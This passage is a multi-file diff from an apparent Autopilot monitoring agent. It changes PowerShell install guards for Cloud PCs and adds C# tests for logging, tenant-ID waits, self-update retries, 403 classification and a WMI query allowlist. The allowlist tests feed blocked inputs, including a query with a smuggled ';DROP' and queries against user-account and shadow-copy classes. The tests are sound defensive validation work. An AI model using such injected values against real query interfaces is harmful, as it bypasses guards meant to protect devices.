@@ -141,7 +152,7 @@ if ($lastLoggedOnUser -and $lastLoggedOnUser -notmatch 'defaultuser\d*' -and -no
$wouldInstall = $false
$reasons.Add("LastLoggedOnUser found: $lastLoggedOnUser")
} elseif ($lastLoggedOnUser -and $lastLoggedOnUser -notmatch 'defaultuser\d*' -and $oobeRelax) {
Write-Step -Status 'PASS' -Message "Guard 3: LastLoggedOnUser ($lastLoggedOnUser) present but OOBE-relax active -- not blocking."
Write-Step -Status 'PASS' -Message "Guard 3: LastLoggedOnUser ($lastLoggedOnUser) present but relax active -- not blocking."
} else {
Write-Step -Status 'PASS' -Message "Guard 3: No real LastLoggedOnUser (value: '$lastLoggedOnUser')."
}
@@ -155,9 +166,15 @@ try {
$uptimeHours = ((Get-Date) - $lastBoot).TotalHours
if ($uptimeHours -gt $MaxBootstrapWindowHours) {
Write-Step -Status 'SKIP' -Message "Guard 4: Device uptime is $([int]$uptimeHours)h. Older than accepted bootstrap window of ${MaxBootstrapWindowHours}h."
$wouldInstall = $false
$reasons.Add("Uptime exceeds bootstrap window: $([int]$uptimeHours)h > ${MaxBootstrapWindowHours}h")
if ($oobeRelax -and $isCloudPc) {
# Cloud PCs run headless for days before the user's first connect; the
# fresh-profile window is the time anchor there, not boot uptime.
Write-Step -Status 'PASS' -Message "Guard 4: Device uptime is $([int]$uptimeHours)h (over ${MaxBootstrapWindowHours}h), but the Cloud PC relax is active -- not blocking."
} else {
Write-Step -Status 'SKIP' -Message "Guard 4: Device uptime is $([int]$uptimeHours)h. Older than accepted bootstrap window of ${MaxBootstrapWindowHours}h."
$wouldInstall = $false
$reasons.Add("Uptime exceeds bootstrap window: $([int]$uptimeHours)h > ${MaxBootstrapWindowHours}h")
}
} else {
Write-Step -Status 'PASS' -Message "Guard 4: Device uptime is $([int]$uptimeHours)h and within bootstrap window of ${MaxBootstrapWindowHours}h."
}
@@ -202,9 +219,12 @@ Write-Host "Deployed marker : $deployed"
Write-Host "DetectedProfileNames : $($profileNames -join ', ')"
Write-Host "ProfileCount : $($profilePaths.Count)"
Write-Host "OobeInProgress (WinRT) : $oobeInProgress"
Write-Host "CloudPcRegistryMarker : $cloudPcRegMarker"
Write-Host "CloudPcServiceMarker : $cloudPcSvcMarker"
Write-Host "IsCloudPc : $isCloudPc"
Write-Host "SingleProfileAgeMinutes : $profileAgeMin"
Write-Host "OobeProfileMaxAgeMinutes : $OobeProfileMaxAgeMinutes"
Write-Host "OobeRelaxActive : $oobeRelax"
Write-Host "RelaxActive : $oobeRelax"
Write-Host "LastLoggedOnUser : $lastLoggedOnUser"
Write-Host "MaxBootstrapWindowHours : $MaxBootstrapWindowHours"
Write-Host "LastBootUpTime : $lastBoot"
@@ -94,6 +94,21 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Logging
Assert.Equal("older-002\n", File.ReadAllText(Path.Combine(tmp.Path, TodayBaseName + "_002.log")));
}
[Fact]
public void Log_transliterates_typographic_punctuation_to_ascii()
{
using var tmp = new TempDirectory();
var logger = new AgentLogger(tmp.Path, AgentLogLevel.Info, maxFileSizeBytes: 1024L * 1024);
// The log file is UTF-8 without BOM; cp1252-guessing viewers (Outlook web
// preview) render em dashes as mojibake. Our own punctuation must come out
// as plain ASCII, while genuine non-ASCII payload stays untouched.
logger.Info("check failed \u2014 range 1\u20132 \u2192 done\u2026 \u2018a\u2019 \u201Cb\u201D nb\u00A0sp f\u00FCr M\u00FCller");
var text = File.ReadAllText(Path.Combine(tmp.Path, TodayBaseName + ".log"));
Assert.Contains("check failed - range 1-2 -> done... 'a' \"b\" nb sp f\u00FCr M\u00FCller", text);
}
[Fact]
public void Log_swallows_io_errors_silently()
{
@@ -308,9 +308,52 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Gather
[InlineData("SELECT * FROM Win32_UserAccount")]
[InlineData("SELECT * FROM Win32_ShadowCopy")]
[InlineData("SELECT * FROM Win32_OperatingSystemExtra")] // prefix spoofing
[InlineData("SELECT Name FROM Win32_Process")] // projection of a disallowed class
[InlineData("SELECT BatteryStatus FROM Win32_BatteryX")] // class spoofing via projection
public void WmiCollector_OffAllowlistQuery_IsBlockedBeforeTheQueryRuns(string query)
=> AssertBlocked(new WmiCollector().Execute(Rule("wmi", query), Context()), query);
// -------------------------------------------------------------------
// WMI query matcher: "SELECT <* | property-list> FROM <allowed class>"
//
// Guard-level (no WMI touched): a property projection of an allowed class
// exposes a strict subset of the already-allowed SELECT *, so it is admitted.
// -------------------------------------------------------------------
[Theory]
[InlineData("SELECT * FROM Win32_Battery")] // legacy form unchanged
[InlineData("SELECT * FROM Win32_BIOS WHERE PrimaryBIOS = TRUE")] // legacy + WHERE
[InlineData("SELECT BatteryStatus FROM Win32_Battery")]
[InlineData("SELECT BatteryStatus, EstimatedChargeRemaining FROM Win32_Battery")]
[InlineData("select batterystatus from win32_battery")] // case-insensitive
[InlineData("SELECT\tBatteryStatus\tFROM\tWin32_Battery")] // tabs as separators
[InlineData(" SELECT BatteryStatus FROM Win32_Battery ")] // surrounding whitespace
[InlineData("SELECT BatteryStatus,EstimatedChargeRemaining FROM Win32_Battery")] // no space after comma
[InlineData("SELECT Status FROM Win32_Battery WHERE BatteryStatus = 1")] // projection + WHERE
public void WmiGuard_ProjectionOfAllowedClass_IsAllowed(string query)
=> Assert.True(GatherRuleGuards.IsWmiQueryAllowed(query));
[Theory]
[InlineData("SELECT Name FROM Win32_Process")] // class not on the allowlist
[InlineData("SELECT BatteryStatus FROM Win32_BatteryX")] // class spoofing
[InlineData("SELECT * FROM Win32_BatteryX")]
[InlineData("SELECT *, Name FROM Win32_BIOS")] // star mixed into a property list
[InlineData("SELECT FROM Win32_BIOS")] // empty property list
[InlineData("SELECT BatteryStatus FROM")] // missing class
[InlineData("SELECT BatteryStatus FROM Win32_Battery;DROP")] // non-whitespace boundary after class
[InlineData("SELECT BatteryStatus, FROM Win32_Battery")] // trailing comma
[InlineData("")]
public void WmiGuard_MalformedOrDisallowedQuery_IsBlocked(string query)
=> Assert.False(GatherRuleGuards.IsWmiQueryAllowed(query));
[Fact]
public void WmiGuard_NullQuery_IsBlocked()
=> Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null));
[Fact]
public void WmiGuard_UnrestrictedMode_AllowsAnyQuery()
=> Assert.True(GatherRuleGuards.IsWmiQueryAllowed("SELECT Name FROM Win32_Process", unrestrictedMode: true));
[Fact]
public void JsonCollector_UserProfilePath_IsBlockedBeforeTheFileIsOpened()
{
@@ -107,6 +107,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Ime
var ok = CmTraceLogParser.TryParseLine(line, out var entry);
Assert.True(ok);
Assert.NotNull(entry);
Assert.Equal(
new DateTime(2026, 7, 29, 11, 46, 19, DateTimeKind.Utc).AddTicks(226610).AddMinutes(expectedOffsetMinutes),
entry.Timestamp);
@@ -0,0 +1,69 @@
using System.IO;
using System.Linq;
using AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather;
using Newtonsoft.Json.Linq;
using Xunit;
namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Telemetry.Gather
{
/// <summary>
/// Pins the display mirror in rules/guardrails.json (embedded into this assembly)
/// to the agent's hard-block CONSTANTS in <see cref="GatherRuleGuards"/>.
/// Enforcement is code-only by design (a JSON parse error must never lift a hard
/// block); the JSON mirror exists so the portal and the MCP validator can
/// pre-flight the same blocks. This test keeps the two from drifting: an addition
/// on either side fails here until the other side follows.
/// </summary>
public sealed class GuardrailsParityTests
{
private static JObject LoadEmbeddedGuardrails()
{
var assembly = typeof(GatherRuleGuards).Assembly;
using var stream = assembly.GetManifestResourceStream(
"AutopilotMonitor.Agent.V2.Core.Resources.guardrails.json");
Assert.NotNull(stream);
using var reader = new StreamReader(stream!);
return JObject.Parse(reader.ReadToEnd());
}
[Fact]
public void Blocked_file_prefixes_match_code_constants()
{
var json = LoadEmbeddedGuardrails()["blockedFilePrefixes"]!.ToObject<string[]>()!;
var code = new[] { GatherRuleGuards.BlockedUsersPrefix }
.Concat(GatherRuleGuards.AdditionalHardBlockedPathPrefixes);
Assert.Equal(
code.Select(p => p.ToLowerInvariant()).OrderBy(p => p),
json.Select(p => Path.GetFullPath(p).ToLowerInvariant()).OrderBy(p => p));
}
[Fact]
public void Blocked_command_patterns_match_code_constants()
{
var json = LoadEmbeddedGuardrails()["blockedCommandPatterns"]!.ToObject<string[]>()!;
Assert.Equal(
GatherRuleGuards.HardBlockedCommandPatterns.OrderBy(p => p),
json.OrderBy(p => p));
}
[Fact]
public void Max_command_length_matches_code_constant()
{
Assert.Equal(
GatherRuleGuards.MaxCommandLength,
LoadEmbeddedGuardrails()["maxCommandLength"]!.Value<int>());
}
[Fact]
public void Blocked_event_log_channels_match_code_constants()
{
var json = LoadEmbeddedGuardrails()["blockedEventLogChannels"]!.ToObject<string[]>()!;
Assert.Equal(
GatherRuleGuards.HardBlockedEventLogChannels.OrderBy(c => c),
json.OrderBy(c => c));
}
}
}
@@ -0,0 +1,124 @@
using System;
using System.IO;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.V2.Core.Logging;
using AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime;
using AutopilotMonitor.Agent.V2.Core.Tests.Harness;
using AutopilotMonitor.Agent.V2.Runtime;
using Xunit;
namespace AutopilotMonitor.Agent.V2.Core.Tests.Program
{
/// <summary>
/// Contract tests for <see cref="AgentBootstrap.RetrySelfUpdateAfterEnrollment"/> —
/// the post-cert one-shot self-update retry (field case sits-d.cloud, 2026-08-09):
/// guard on <see cref="SelfUpdater.LastVersionCheckSucceeded"/>, the relaxed
/// timeouts/trigger it passes to the updater, and the swallow-everything exception
/// contract (bootstrap must continue on any updater failure). Uses the
/// <see cref="AgentBootstrap.UpdateInvokerOverride"/> seam — no network, no process
/// side effects.
/// <para>
/// Static-hook state: each test saves/restores both statics in ctor/Dispose so
/// parallel-running test classes never observe a leaked value (idiom of
/// SelfUpdaterGracefulShutdownTests).
/// </para>
/// </summary>
public sealed class AgentBootstrapSelfUpdateRetryTests : IDisposable
{
private readonly AgentBootstrap.SelfUpdateInvoker _savedInvoker;
private readonly bool _savedVersionCheckFlag;
public AgentBootstrapSelfUpdateRetryTests()
{
_savedInvoker = AgentBootstrap.UpdateInvokerOverride;
_savedVersionCheckFlag = SelfUpdater.LastVersionCheckSucceeded;
AgentBootstrap.UpdateInvokerOverride = null;
SelfUpdater.LastVersionCheckSucceeded = false;
}
public void Dispose()
{
AgentBootstrap.UpdateInvokerOverride = _savedInvoker;
SelfUpdater.LastVersionCheckSucceeded = _savedVersionCheckFlag;
}
private static AgentLogger NewLogger(string path)
=> new AgentLogger(Path.Combine(path, "logs"), AgentLogLevel.Info);
[Fact]
public void Skips_retry_when_startup_version_check_already_succeeded()
{
using var tmp = new TempDirectory();
var invoked = false;
SelfUpdater.LastVersionCheckSucceeded = true;
AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) =>
{
invoked = true;
return Task.CompletedTask;
};
AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false);
Assert.False(invoked);
}
[Fact]
public void Retries_with_await_enrollment_trigger_and_relaxed_timeouts()
{
using var tmp = new TempDirectory();
string? capturedVersion = null, capturedDir = null, capturedReason = null;
bool? capturedConsole = null, capturedDowngrade = null;
int capturedDownloadMs = 0, capturedVersionCheckMs = 0;
AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) =>
{
capturedVersion = v;
capturedDir = dir;
capturedConsole = console;
capturedReason = reason;
capturedDownloadMs = dl;
capturedDowngrade = downgrade;
capturedVersionCheckMs = vc;
return Task.CompletedTask;
};
AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: true);
Assert.Equal("await_enrollment", capturedReason);
// Relaxed vs. the boot-speed-tuned startup check (10s/2.5s) — enrollment is
// already past OOBE's critical path here.
Assert.Equal(60000, capturedDownloadMs);
Assert.Equal(10000, capturedVersionCheckMs);
// No cached remote config on a fresh --await-enrollment install → no downgrade override.
Assert.False(capturedDowngrade);
Assert.True(capturedConsole);
Assert.False(string.IsNullOrEmpty(capturedVersion));
Assert.False(string.IsNullOrEmpty(capturedDir));
}
[Fact]
public void Synchronous_invoker_exception_is_swallowed()
{
using var tmp = new TempDirectory();
AgentBootstrap.UpdateInvokerOverride =
(v, dir, console, reason, dl, downgrade, vc) => throw new InvalidOperationException("boom");
var ex = Record.Exception(
() => AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false));
Assert.Null(ex);
}
[Fact]
public void Faulted_update_task_is_swallowed()
{
using var tmp = new TempDirectory();
AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) =>
Task.FromException(new IOException("download interrupted"));
var ex = Record.Exception(
() => AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false));
Assert.Null(ex);
}
}
}
@@ -132,10 +132,12 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Program
}
[Fact]
public void First_install_without_wait_arg_uses_agent_default_of_600()
public void First_install_without_wait_arg_persists_null_so_runtime_default_applies()
{
// Generic bootstrap path: PS1 calls `--install` without --tenant-id-wait,
// and there is no persisted config yet. Agent owns the default (600 s).
// and there is no persisted config yet. "Not configured" is persisted as null
// so BuildAgentConfiguration applies the agent-side default (600 s) — freezing
// a number into the file would decouple deployed devices from default changes.
var merged = AutopilotMonitor.Agent.V2.Program.MergeBootstrapConfig(
existing: null,
bootstrapTokenArg: null!, bootstrapTokenGiven: false,
@@ -144,20 +146,42 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Program
Assert.Null(merged.BootstrapToken);
Assert.Null(merged.TenantId);
Assert.Equal(600, merged.TenantIdWaitSeconds);
Assert.Null(merged.TenantIdWaitSeconds);
}
[Fact]
public void Existing_config_without_wait_field_treated_as_zero()
public void Legacy_config_without_wait_field_stays_null_on_plain_reinstall()
{
// BackCompat: pre-fix bootstrap-config.json has no TenantIdWaitSeconds field;
// Newtonsoft deserialises that to 0. New install with --tenant-id-wait 600
// overrides cleanly; no extra migration logic required.
// BackCompat: pre-feature bootstrap-config.json has no TenantIdWaitSeconds
// property → nullable deserialisation yields null. A reinstall that does not
// pass --tenant-id-wait must NOT turn that into 0 (which would silently
// disable the wait); null carries through and the runtime default applies.
var existing = new BootstrapConfigFile
{
BootstrapToken = "tok-legacy",
TenantId = "tenant-legacy",
TenantIdWaitSeconds = 0,
TenantIdWaitSeconds = null,
};
var merged = AutopilotMonitor.Agent.V2.Program.MergeBootstrapConfig(
existing,
bootstrapTokenArg: null!, bootstrapTokenGiven: false,
tenantIdArg: null!, tenantIdGiven: false,
tenantIdWaitSeconds: 0, tenantIdWaitGiven: false);
Assert.Equal("tok-legacy", merged.BootstrapToken);
Assert.Equal("tenant-legacy", merged.TenantId);
Assert.Null(merged.TenantIdWaitSeconds);
}
[Fact]
public void Legacy_config_without_wait_field_takes_explicit_wait_arg()
{
var existing = new BootstrapConfigFile
{
BootstrapToken = "tok-legacy",
TenantId = "tenant-legacy",
TenantIdWaitSeconds = null,
};
var merged = AutopilotMonitor.Agent.V2.Program.MergeBootstrapConfig(
@@ -170,5 +194,26 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Program
Assert.Equal("tenant-legacy", merged.TenantId);
Assert.Equal(600, merged.TenantIdWaitSeconds);
}
[Fact]
public void Explicit_zero_opt_out_survives_redeploy_without_wait_arg()
{
// An admin's deliberate `--tenant-id-wait 0` must not be resurrected to a
// wait by a later redeploy that omits the flag.
var existing = new BootstrapConfigFile
{
BootstrapToken = "tok-abc",
TenantId = "tenant-xyz",
TenantIdWaitSeconds = 0,
};
var merged = AutopilotMonitor.Agent.V2.Program.MergeBootstrapConfig(
existing,
bootstrapTokenArg: null!, bootstrapTokenGiven: false,
tenantIdArg: null!, tenantIdGiven: false,
tenantIdWaitSeconds: 0, tenantIdWaitGiven: false);
Assert.Equal(0, merged.TenantIdWaitSeconds);
}
}
}
@@ -0,0 +1,90 @@
using AutopilotMonitor.Agent.V2;
using AutopilotMonitor.Agent.V2.Core.Configuration;
using Xunit;
namespace AutopilotMonitor.Agent.V2.Core.Tests.Program
{
/// <summary>
/// Pins the TenantIdWaitSeconds resolution order in
/// <see cref="AutopilotMonitor.Agent.V2.Program.BuildAgentConfiguration"/>:
/// CLI arg &gt; persisted bootstrap-config.json value &gt; agent default (600 s).
/// The regression this guards: a legacy bootstrap-config.json written before the
/// TenantIdWaitSeconds property existed deserialises to null — that must fall
/// through to the 600 s default, NOT be treated as an explicit 0 opt-out
/// (which silently disabled the wait and broke Hybrid-AAD-join devices whose
/// registry TenantId lands minutes after first boot).
/// </summary>
public sealed class TenantIdWaitResolutionTests
{
private static AgentConfiguration Build(BootstrapConfigFile? bootstrapConfig, params string[] args) =>
AutopilotMonitor.Agent.V2.Program.BuildAgentConfiguration(
args: args,
tenantId: "tenant-t",
sessionId: "session-s",
bootstrapConfig: bootstrapConfig,
awaitConfig: null);
[Fact]
public void No_cli_and_no_bootstrap_config_uses_default_600()
{
var cfg = Build(bootstrapConfig: null);
Assert.Equal(600, cfg.TenantIdWaitSeconds);
}
[Fact]
public void Legacy_bootstrap_config_with_null_wait_uses_default_600()
{
var legacy = new BootstrapConfigFile
{
BootstrapToken = "tok-legacy",
TenantId = "tenant-legacy",
TenantIdWaitSeconds = null,
};
var cfg = Build(legacy);
Assert.Equal(600, cfg.TenantIdWaitSeconds);
}
[Fact]
public void Explicit_zero_in_bootstrap_config_disables_wait()
{
var optedOut = new BootstrapConfigFile { TenantIdWaitSeconds = 0 };
var cfg = Build(optedOut);
Assert.Equal(0, cfg.TenantIdWaitSeconds);
}
[Fact]
public void Nonzero_bootstrap_config_value_wins_over_default()
{
var configured = new BootstrapConfigFile { TenantIdWaitSeconds = 1800 };
var cfg = Build(configured);
Assert.Equal(1800, cfg.TenantIdWaitSeconds);
}
[Fact]
public void Cli_arg_wins_over_bootstrap_config_value()
{
var configured = new BootstrapConfigFile { TenantIdWaitSeconds = 1800 };
var cfg = Build(configured, "--tenant-id-wait", "300");
Assert.Equal(300, cfg.TenantIdWaitSeconds);
}
[Fact]
public void Cli_zero_wins_over_bootstrap_config_value()
{
var configured = new BootstrapConfigFile { TenantIdWaitSeconds = 1800 };
var cfg = Build(configured, "--tenant-id-wait", "0");
Assert.Equal(0, cfg.TenantIdWaitSeconds);
}
}
}
@@ -260,6 +260,60 @@ namespace AutopilotMonitor.Agent.V2.Core.Tests.Security
Assert.Contains("agent/config", fakeDistress.Calls[0].Message);
}
[Fact]
public void RecordFailure_endpoint_unavailable_suppresses_distress_but_still_counts()
{
var clock = new FakeClock(new DateTime(2026, 4, 21, 10, 0, 0, DateTimeKind.Utc));
var fakeDistress = new FakeDistressReporter();
var tracker = new AuthFailureTracker(maxFailures: 2, timeoutMinutes: 0, clock, NewLogger(), fakeDistress);
int events = 0;
tracker.ThresholdExceeded += (_, _) => events++;
// Platform-403s from a stopped endpoint: a distress report cannot reach it and the
// DeviceNotRegistered classification would be wrong — nothing must be dispatched.
tracker.RecordFailure(403, "agent/config", endpointUnavailable: true);
tracker.RecordFailure(403, "agent/register-session", endpointUnavailable: true);
Assert.Empty(fakeDistress.Calls);
// The shutdown thresholds still apply — a dead endpoint must not retry forever.
Assert.Equal(2, tracker.ConsecutiveFailures);
Assert.Equal(1, events);
}
[Fact]
public void RecordFailure_endpoint_unavailable_does_not_consume_streak_report_slot()
{
var clock = new FakeClock(new DateTime(2026, 4, 21, 10, 0, 0, DateTimeKind.Utc));
var fakeDistress = new FakeDistressReporter();
var tracker = new AuthFailureTracker(maxFailures: 50, timeoutMinutes: 0, clock, NewLogger(), fakeDistress);
// The streak opens with a platform-403 (no dispatch), then a live backend answers
// with a genuine 403 — that one must still produce the streak's single report.
tracker.RecordFailure(403, "agent/config", endpointUnavailable: true);
tracker.RecordFailure(403, "agent/config");
tracker.RecordFailure(403, "agent/config");
Assert.Single(fakeDistress.Calls);
Assert.Equal(DistressErrorType.DeviceNotRegistered, fakeDistress.Calls[0].ErrorType);
}
[Fact]
public void RecordSuccess_rearms_distress_dispatch_for_the_next_streak()
{
var clock = new FakeClock(new DateTime(2026, 4, 21, 10, 0, 0, DateTimeKind.Utc));
var fakeDistress = new FakeDistressReporter();
var tracker = new AuthFailureTracker(maxFailures: 50, timeoutMinutes: 0, clock, NewLogger(), fakeDistress);
tracker.RecordFailure(401, "agent/config");
tracker.RecordSuccess();
tracker.RecordFailure(403, "agent/config");
Assert.Equal(2, fakeDistress.Calls.Count);
Assert.Equal(DistressErrorType.AuthCertificateRejected, fakeDistress.Calls[0].ErrorType);
Assert.Equal(DistressErrorType.DeviceNotRegistered, fakeDistress.Calls[1].ErrorType);
}
[Fact]
public void RecordFailure_without_distress_reporter_is_silent_but_still_tracks()
{
@@ -1,5 +1,6 @@
using System.Collections.Generic;
using AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo;
using AutopilotMonitor.Shared.Models;
using Xunit;
namespace AutopilotMonitor.Agent.V2.Core.Tests.Telemetry.DeviceInfo;
@@ -109,4 +110,28 @@ public class DeviceInfoCollectorAutopilotProfileMissingTests
Assert.False(DeviceInfoCollector.TryExtractZeroTouchTenantDomain(null, out var domain));
Assert.Null(domain);
}
[Fact]
public void ResolveAutopilotProfileMissingPresentation_PhysicalDevice_WarnsAboutAssignment()
{
var (message, severity) = DeviceInfoCollector.ResolveAutopilotProfileMissingPresentation(isCloudPc: false);
Assert.Equal(EventSeverity.Warning, severity);
Assert.Equal(
"No Autopilot profile was available during OOBE (ProfileAvailable=0) — most likely no deployment profile was assigned to the device, or the assignment had not finished propagating when OOBE ran. OOBE proceeded as a standard Entra ID join instead of an Autopilot deployment.",
message);
}
[Fact]
public void ResolveAutopilotProfileMissingPresentation_CloudPc_InformationalAndExpected()
{
// On a Windows 365 Cloud PC a missing Autopilot profile is the normal state —
// the event must not read as an alarm there.
var (message, severity) = DeviceInfoCollector.ResolveAutopilotProfileMissingPresentation(isCloudPc: true);
Assert.Equal(EventSeverity.Info, severity);
Assert.Contains("Windows 365 Cloud PC", message);
Assert.Contains("expected", message);
Assert.DoesNotContain("no deployment profile was assigned", message);
}
}
@@ -0,0 +1,110 @@
#nullable enable
using System;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.V2.Core.Monitoring.Transport;
using Xunit;
namespace AutopilotMonitor.Agent.V2.Core.Tests.Transport
{
/// <summary>
/// 401/403 classification in <see cref="BackendApiClient"/>: a backend JSON 403 is a real
/// device-authorization verdict, while an HTML body means the response came from the Azure
/// platform / an edge proxy (stopped or retired app) and must NOT be reported as
/// "device is not authorized". Field case sits-d.cloud 2026-08-09: a pre-cutover agent hit
/// the stopped legacy Function App and support chased a non-existent authorization problem.
/// </summary>
public sealed class BackendApiClientAuthClassificationTests
{
private sealed class StubHandler : HttpMessageHandler
{
private readonly Func<HttpRequestMessage, HttpResponseMessage> _responder;
public StubHandler(Func<HttpRequestMessage, HttpResponseMessage> responder) => _responder = responder;
protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
=> Task.FromResult(_responder(request));
}
private static BackendApiClient BuildClient(HttpStatusCode status, string body, string mediaType)
{
var handler = new StubHandler(_ => new HttpResponseMessage(status)
{
Content = new StringContent(body, Encoding.UTF8, mediaType)
});
return new BackendApiClient(
new HttpClient(handler),
baseUrl: "https://backend.example",
manufacturer: "Contoso",
model: "TestBox",
serialNumber: "SN123",
useBootstrapTokenAuth: false,
bootstrapToken: null,
agentVersion: "2.0.0",
logger: null);
}
[Fact]
public async Task Backend_json_403_is_reported_as_device_not_authorized()
{
using var client = BuildClient(
HttpStatusCode.Forbidden,
"{\"success\":false,\"message\":\"Device validation failed\"}",
"application/json");
var ex = await Assert.ThrowsAsync<BackendAuthException>(() => client.GetAgentConfigAsync("tenant-1"));
Assert.Equal(403, ex.StatusCode);
Assert.False(ex.EndpointUnavailable);
Assert.Contains("The device is not authorized", ex.Message);
}
[Fact]
public async Task Platform_html_403_is_reported_as_endpoint_unavailable_with_page_title()
{
using var client = BuildClient(
HttpStatusCode.Forbidden,
"<!DOCTYPE html><html><head><title>Web App - Unavailable</title></head><body>stopped</body></html>",
"text/html");
var ex = await Assert.ThrowsAsync<BackendAuthException>(() => client.GetAgentConfigAsync("tenant-1"));
Assert.Equal(403, ex.StatusCode);
Assert.True(ex.EndpointUnavailable);
Assert.Contains("Web App - Unavailable", ex.Message);
Assert.Contains("NOT a device-authorization failure", ex.Message);
Assert.DoesNotContain("Check client certificate", ex.Message);
}
[Fact]
public async Task Html_body_with_generic_content_type_is_still_sniffed_as_platform_page()
{
using var client = BuildClient(
HttpStatusCode.Forbidden,
" <html><body>Error 403 - This web app is stopped.</body></html>",
"text/plain");
var ex = await Assert.ThrowsAsync<BackendAuthException>(() => client.GetAgentConfigAsync("tenant-1"));
Assert.True(ex.EndpointUnavailable);
Assert.Contains("HTML platform error page", ex.Message);
}
[Fact]
public async Task Backend_401_keeps_authorization_message_and_status()
{
using var client = BuildClient(
HttpStatusCode.Unauthorized,
"{\"success\":false,\"message\":\"certificate rejected\"}",
"application/json");
var ex = await Assert.ThrowsAsync<BackendAuthException>(() => client.GetAgentConfigAsync("tenant-1"));
Assert.Equal(401, ex.StatusCode);
Assert.False(ex.EndpointUnavailable);
Assert.Contains("The device is not authorized", ex.Message);
}
}
}
@@ -109,6 +109,14 @@ namespace AutopilotMonitor.Agent.V2.Core.Configuration
/// </summary>
public bool EnableTimezoneAutoSet { get; set; } = false;
/// <summary>
/// Continue-Anyway observation mode (operator-set tenant opt-in, delivered via
/// remote config): stamped into the esp_config_detected decision-signal payload so
/// the DecisionEngine defangs a Device-phase ESP terminal failure into a bounded
/// 60-min observation instead of failing immediately. Default: false.
/// </summary>
public bool EnableEspContinueAnywayObservation { get; set; } = false;
/// <summary>
/// Optional custom path to IME logs directory for testing.
/// If set, overrides the default %ProgramData%\Microsoft\IntuneManagementExtension\Logs path.
@@ -272,9 +280,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Configuration
/// CloudDomainJoin keys and re-probes on every change until either resolution
/// or this timeout. 0 = no wait, fast-fail on miss (legacy behaviour).
/// <para>
/// Set via the install-time CLI flag <c>--tenant-id-wait &lt;sec&gt;</c>, persisted
/// to <c>bootstrap-config.json</c>. The PS1 bootstrap script owns the production
/// default; the agent itself never assumes one.
/// Set via the CLI flag <c>--tenant-id-wait &lt;sec&gt;</c> or a persisted
/// <c>bootstrap-config.json</c> value; when neither supplies a value the agent
/// applies its own default of 600 s in BuildAgentConfiguration. The 0 default
/// here is only the POCO baseline, not the effective runtime default.
/// </para>
/// </summary>
public int TenantIdWaitSeconds { get; set; } = 0;
@@ -16,8 +16,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Configuration
/// <summary>
/// TenantId-wait timeout in seconds, persisted from the <c>--tenant-id-wait</c>
/// install-time arg. Read by AgentBootstrap when the registry probe finds no
/// TenantId on first try. 0 / missing = no wait, legacy fast-fail.
/// TenantId on first try. 0 = explicit opt-out (legacy fast-fail).
/// Null / missing (files written before this property existed) = not configured —
/// the agent-side default (600 s) applies. Nullable so a legacy file without the
/// property cannot masquerade as an explicit 0 and silently disable the wait.
/// </summary>
public int TenantIdWaitSeconds { get; set; }
public int? TenantIdWaitSeconds { get; set; }
}
}
@@ -103,6 +103,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Configuration
agentConfig.SendTraceEvents = remoteConfig.SendTraceEvents;
// ---------------- Continue-Anyway observation — remote wins (operator-set tenant
// opt-in; false must clear a stale cached true).
agentConfig.EnableEspContinueAnywayObservation = remoteConfig.EnableEspContinueAnywayObservation;
// ---------------- UnrestrictedMode audit — track old/new for the caller so the
// agent_unrestricted_mode_changed event can fire AFTER the
// orchestrator emitter is alive (V1 parity with
@@ -155,7 +155,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Configuration
// see the AuthCertificateRejected/DeviceNotRegistered distress signal
// without 100 s of needless retry delay.
_logger.Warning($"Config fetch authentication failed: {ex.Message}");
_authFailureTracker?.RecordFailure(ex.StatusCode, "agent/config");
_authFailureTracker?.RecordFailure(ex.StatusCode, "agent/config", ex.EndpointUnavailable);
lastException = ex;
LastFetchAuthStatusCode = ex.StatusCode;
break;
@@ -328,6 +328,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Configuration
EnableGeoLocation = true,
EnableImeMatchLog = false,
EnableGatherRuleDebugLog = false,
EnableEspContinueAnywayObservation = false,
Collectors = CollectorConfiguration.CreateDefault(),
GatherRules = new System.Collections.Generic.List<GatherRule>(),
ImeLogPatterns = new System.Collections.Generic.List<ImeLogPattern>()
@@ -197,7 +197,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Logging
/// <summary>
/// Sanitizes log messages to prevent log injection attacks.
/// Escapes control characters that could forge log entries.
/// Redaction patterns can be added here later as needed.
/// Transliterates typographic punctuation to ASCII: the log file is written as
/// UTF-8 without BOM, and customer-side viewers (e.g. Outlook web attachment
/// preview) guess cp1252 and render an em dash as mojibake ("—"). Only our own
/// punctuation is mapped — genuine non-ASCII payload (device names, paths) is
/// kept verbatim. Redaction patterns can be added here later as needed.
/// </summary>
private static string SanitizeLogMessage(string message)
{
@@ -206,6 +210,17 @@ namespace AutopilotMonitor.Agent.V2.Core.Logging
// Escape newlines and carriage returns to prevent log injection
message = message.Replace("\r", "\\r").Replace("\n", "\\n");
message = message
